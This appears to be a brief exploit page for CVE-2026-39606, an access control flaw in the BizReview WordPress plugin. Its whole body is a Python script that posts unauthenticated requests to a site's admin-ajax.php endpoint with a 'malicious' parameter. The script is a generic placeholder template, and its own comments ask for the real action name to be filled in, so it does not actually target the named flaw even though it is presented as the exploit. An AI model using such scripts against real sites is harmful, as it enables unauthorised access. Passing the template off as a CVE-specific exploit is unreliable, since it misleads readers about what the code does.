CVE-2026-39606 BizReview插件访问控制失效漏洞

import requests # Target URL (replace with actual vulnerable site) target_url = "http://example.com/wp-admin/admin-ajax.php" # The vulnerable action parameter depends on the plugin's specific code # This is a generic example for an IDOR/Access Control issue in WordPress payload = { "action": "vulnerable_plugin_action", # Replace with actual action name "param": "malicious_data_value" } try: # Send request without authentication cookies response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) # Analyze response to confirm unauthorized action else: print("[-] Failed to send request.") except Exception as e: print(f"[!] Error: {e}")